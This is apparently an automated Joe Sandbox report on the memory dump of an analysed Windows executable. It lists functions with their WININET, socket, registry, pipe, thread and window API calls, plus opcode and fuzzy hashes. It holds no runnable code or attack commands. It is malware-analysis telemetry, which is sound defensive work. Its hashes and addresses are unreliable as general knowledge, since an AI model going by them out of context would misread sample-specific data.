PostMessageW.USER32 ref: 00007FF6B5B98F21
PostMessageW.USER32 ref: 00007FF6B5B98F6C
PostMessageW.USER32 ref: 00007FF6B5B98F98

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction ID: 2c81c54e5b13b9fe17543a1681d2ae402f0ced6fe7700f6eb77c7497875187e8
Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
Instruction Fuzzy Hash: E751B152A0C6D255F7B187795121BBD2F61FB57FC4F489078EB8947E8BCE08E8548321

Function 00007FF6B5BADBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF6B5BADC5F
HttpOpenRequestW.WININET ref: 00007FF6B5BADCA9
InternetCloseHandle.WININET ref: 00007FF6B5BADDC0

Part of subcall function 00007FF6B5BAEAB8: GetLastError.KERNEL32 ref: 00007FF6B5BAEAD4
Part of subcall function 00007FF6B5BAEAB8: SetEvent.KERNEL32 ref: 00007FF6B5BAEAE9

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
String ID:
API String ID: 3401586794-0
Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction ID: f4b58f70577b017a1ff687294bf446eafa963dfff3c17367aa44c459a6fb825d
Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
Instruction Fuzzy Hash: 9451D362608A828AF714DF29E860AEE67A0FB4AF88F544031DF4D47B5ADF39D855C700

Function 00007FF6B5B94860 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124comlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8B748: CLSIDFromProgID.OLE32 ref: 00007FF6B5B8B771
Part of subcall function 00007FF6B5B8B748: ProgIDFromCLSID.OLE32 ref: 00007FF6B5B8B790
Part of subcall function 00007FF6B5B8B748: lstrcmpiW.KERNEL32 ref: 00007FF6B5B8B7A2
Part of subcall function 00007FF6B5B8B748: CoTaskMemFree.OLE32 ref: 00007FF6B5B8B7B4

IIDFromString.OLE32 ref: 00007FF6B5B948EF
CoCreateInstance.OLE32 ref: 00007FF6B5B94931
SetErrorMode.KERNEL32 ref: 00007FF6B5B9496D
GetProcAddress.KERNEL32 ref: 00007FF6B5B94983
SetErrorMode.KERNEL32 ref: 00007FF6B5B94A15

Strings

DllGetClassObject, xrefs: 00007FF6B5B94973

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: From$ErrorModeProg$AddressCreateFreeInstanceProcStringTasklstrcmpi
String ID: DllGetClassObject
API String ID: 668425406-1075368562
Opcode ID: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction ID: 49fa5ab6b0e2db3ec171523846b84ce30e584d96c99c70f971515efc34b4e724
Opcode Fuzzy Hash: 214bc254c47588fde01e5fc27ee3c6930efb076d9c02937a19424ffc77af6643
Instruction Fuzzy Hash: D1518032A18B8686EB189F1AE5603B96360FB56F84F048134DB4D87A9BDF7CF854C700

Function 00007FF6B5BC9248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 00007FF6B5BC928B
GetWindowLongW.USER32 ref: 00007FF6B5BC9313
SendMessageW.USER32 ref: 00007FF6B5BC935A
SendMessageW.USER32 ref: 00007FF6B5BC9389
GetWindowLongW.USER32 ref: 00007FF6B5BC93A0
SetWindowLongPtrW.USER32(?,?,?,00007FF6B5BCDF83), ref: 00007FF6B5BC93C4

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: LongMessageSendWindow
String ID:
API String ID: 3360111000-0
Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction ID: 76b9b7fe0144e8f8fa10e04ac00a2144ab2c666284e89c36b9335b66192cd150
Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
Instruction Fuzzy Hash: F8416126A18A5581FA60CB1DD4A56B83361EBC6F94F144132CF5E87BAACF3DE841C704

Function 00007FF6B5BB37A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5BB5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF6B5BB37FB), ref: 00007FF6B5BB5E4D

socket.WSOCK32 ref: 00007FF6B5BB3827
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB3836

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction ID: f887be3de2efc10bb5bab7f27eebc352f321147412314fba0361e8f926a986a8
Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
Instruction Fuzzy Hash: 5C419372A08A8282E7209F29A4A46ED7760FB46FA4F404235DF5E837DACF7CD945C700

Function 00007FF6B5BCA884 Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00007FF6B5BCA8D1
SetMenu.USER32 ref: 00007FF6B5BCA8E4
GetMenuItemInfoW.USER32 ref: 00007FF6B5BCA977
IsMenu.USER32 ref: 00007FF6B5BCA991
CreatePopupMenu.USER32 ref: 00007FF6B5BCA99B
InsertMenuItemW.USER32 ref: 00007FF6B5BCA9D1
DrawMenuBar.USER32 ref: 00007FF6B5BCA9DA

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID:
API String ID: 161812096-0
Opcode ID: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction ID: 6494447e9fdccdeaedca3b6f8e30fd096fcc66c0f1f8e205f03db8653869ac0c
Opcode Fuzzy Hash: 22fcd4b96cb08b999353f17b01c1e421480795c8207f5970277f026457662bef
Instruction Fuzzy Hash: 46414936A04A4586EB50CF2AD8956EC37A1FB4AF98F154035DF4E877AACF38D845C700

Function 00007FF6B5BC15C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32 ref: 00007FF6B5BC161B
RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5BC164F
FreeLibrary.KERNEL32 ref: 00007FF6B5BC1742

Part of subcall function 00007FF6B5BC15C4: RegCloseKey.ADVAPI32 ref: 00007FF6B5BC1675
Part of subcall function 00007FF6B5BC15C4: FreeLibrary.KERNEL32 ref: 00007FF6B5BC16D5
Part of subcall function 00007FF6B5BC15C4: RegEnumKeyExW.ADVAPI32 ref: 00007FF6B5BC1712

RegDeleteKeyW.ADVAPI32 ref: 00007FF6B5BC16C1

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
Instruction ID: 34d1d85aac884ef3f531e382c41f6ce053d4b482f722ebcfd1ff118018c2e998
Opcode Fuzzy Hash: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
Instruction Fuzzy Hash: AB41A532618B8586E721CF15E4647EE63A0FB8AB44F844131EB8D97A9DCF3DD949CB04

Function 00007FF6B5B94EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6B5B94F03
MultiByteToWideChar.KERNEL32 ref: 00007FF6B5B94F34
SysAllocString.OLEAUT32 ref: 00007FF6B5B94F3D
SysAllocString.OLEAUT32 ref: 00007FF6B5B94FA5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AllocByteCharMultiStringWide
String ID:
API String ID: 3603722519-0
Opcode ID: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
Instruction ID: 433bf3e96aeaf74ce7b0a20f3eb95aec883fab9dfa8af282657e0987ef6b6af0
Opcode Fuzzy Hash: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
Instruction Fuzzy Hash: 9A317731A48B4689DB249F16E4546B973A0FB56F90F484236DB5D837DBDF3CD9848700

Function 00007FF6B5BCAEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

SendMessageW.USER32 ref: 00007FF6B5BCAF8C
SendMessageW.USER32 ref: 00007FF6B5BCAFA0
SendMessageW.USER32 ref: 00007FF6B5BCAFB4
SendMessageW.USER32 ref: 00007FF6B5BCAFCB
SendMessageW.USER32 ref: 00007FF6B5BCAFE3

Strings

Msctls_Progress32, xrefs: 00007FF6B5BCAF12

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction ID: 23655703474fef4d793ce94c608a626f68ce1f82d4d79ada1d810e673e3d5534
Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction Fuzzy Hash: 5E315C36608A9187E3608F59F455B5AB761EB89B90F109139EB9983B99CF3CD845CF00

Function 00007FF6B5B9FAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6B5B9FB23
CreatePipe.KERNEL32 ref: 00007FF6B5B9FB6F

Strings

nul, xrefs: 00007FF6B5B9FBB3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction ID: cd5377d7fe9b7e28fe432ec84dbcbb9e6b84a19bf571d78ccdd7812477ba6866
Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction Fuzzy Hash: 03318272A18A8682EB518F68D4343B922A0EB97F78F544330DB7D867DACF3CD8458741

Function 00007FF6B5B9F9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6B5B9FA11
CreatePipe.KERNEL32 ref: 00007FF6B5B9FA5D

Strings

nul, xrefs: 00007FF6B5B9FA99

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction ID: 183d6dcc62cc82c595e82d372f41a233b5ea3ea030d891a7b73d753d87ecef1e
Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction Fuzzy Hash: 02218221A18B8682EB118B68D0243B963A0FB96F78F504331DB6E867DFDF7CD8448701

Function 00007FF6B5B4A054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B4A08F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B4A460
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B4A701

Strings

f, xrefs: 00007FF6B5B4A194
p, xrefs: 00007FF6B5B4A19C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p
API String ID: 3215553584-1290815066
Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction ID: 3b75130591b7d6cca3d7193f86ca828631ecdf98a43463ad1b77f57ea8b50bb1
Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction Fuzzy Hash: AD12A722E0C15386FB309A1EE0646FA7663EB52F54F944231D799866CEDF3DED809B01

Function 00007FF6B5B9D1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B9CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6B5B9CA62

Part of subcall function 00007FF6B5B9CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6B5B9CA77

Part of subcall function 00007FF6B5B9CED4: GetFileAttributesW.KERNEL32 ref: 00007FF6B5B9CED8

lstrcmpiW.KERNEL32 ref: 00007FF6B5B9D277
MoveFileW.KERNEL32 ref: 00007FF6B5B9D2AA
wcscat.LIBCMT ref: 00007FF6B5B9D2FB
wcscat.LIBCMT ref: 00007FF6B5B9D30E
wcscat.LIBCMT ref: 00007FF6B5B9D324
SHFileOperationW.SHELL32 ref: 00007FF6B5B9D43E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction ID: 0ad1ff98f1c61bfff4f53e68c40b518736d6e7ea17b7b3833a195e19ab05775e
Opcode Fuzzy Hash: 35062434fee54acf94d2c2a036a69dc928caf6f380b06f8f0a879a9cbd16691f
Instruction Fuzzy Hash: 20516622A1868299EB20DF78D4602E96364FF95F84F800132E74D9769FDFA8DB45C740

Function 00007FF6B5B2D4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

0x%p, xrefs: 00007FF6B5B79CB4
False, xrefs: 00007FF6B5B79C90
True, xrefs: 00007FF6B5B79C97
%.15g, xrefs: 00007FF6B5B2D554

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
Instruction ID: b29d5feb7a7ed058cc90207fbf1cf717eedb1f510129348664f2ba610dd0643c
Opcode Fuzzy Hash: e719f584031d415f058583bc3760330c0d061c7a3d1d344f28d0a5967c239e6c
Instruction Fuzzy Hash: 9F517026B09A4289FE24DB6DD0641FC27A5EB46F88F148135DB0E8779FDE39E806C350

Function 00007FF6B5B21E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B22A54: GetWindowLongPtrW.USER32 ref: 00007FF6B5B22A71

BeginPaint.USER32 ref: 00007FF6B5B21E4C
GetWindowRect.USER32 ref: 00007FF6B5B21EB7
ScreenToClient.USER32 ref: 00007FF6B5B21EDE
SetViewportOrgEx.GDI32 ref: 00007FF6B5B21EF9
EndPaint.USER32 ref: 00007FF6B5B21F5A
Rectangle.GDI32 ref: 00007FF6B5B6A458

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction ID: 36df381a18c6502243b1a7d26d2ba7c712d0c11f96ed026f9aa19dec025d697c
Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction Fuzzy Hash: EF518132A08B5286EB20CB19D4687F97B60FB46F94F144135DB5D87B9ACF7DE8058710

Function 00007FF6B5B51E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B51E90
CreateThread.KERNEL32 ref: 00007FF6B5B51ED4
GetLastError.KERNEL32 ref: 00007FF6B5B51EE2
CloseHandle.KERNEL32 ref: 00007FF6B5B51F01
FreeLibrary.KERNEL32 ref: 00007FF6B5B51F10
ResumeThread.KERNEL32 ref: 00007FF6B5B51F33

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
String ID:
API String ID: 2082702847-0
Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction ID: 6d4e1a99f95b73ac20a5b9771160ed1b74f5bb52832e1f557b47db35893cff5b
Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction Fuzzy Hash: 77214D21A09B4281EE599B68F4342F96290AF46FB4F140734EB7E867DEDF3CEC448600

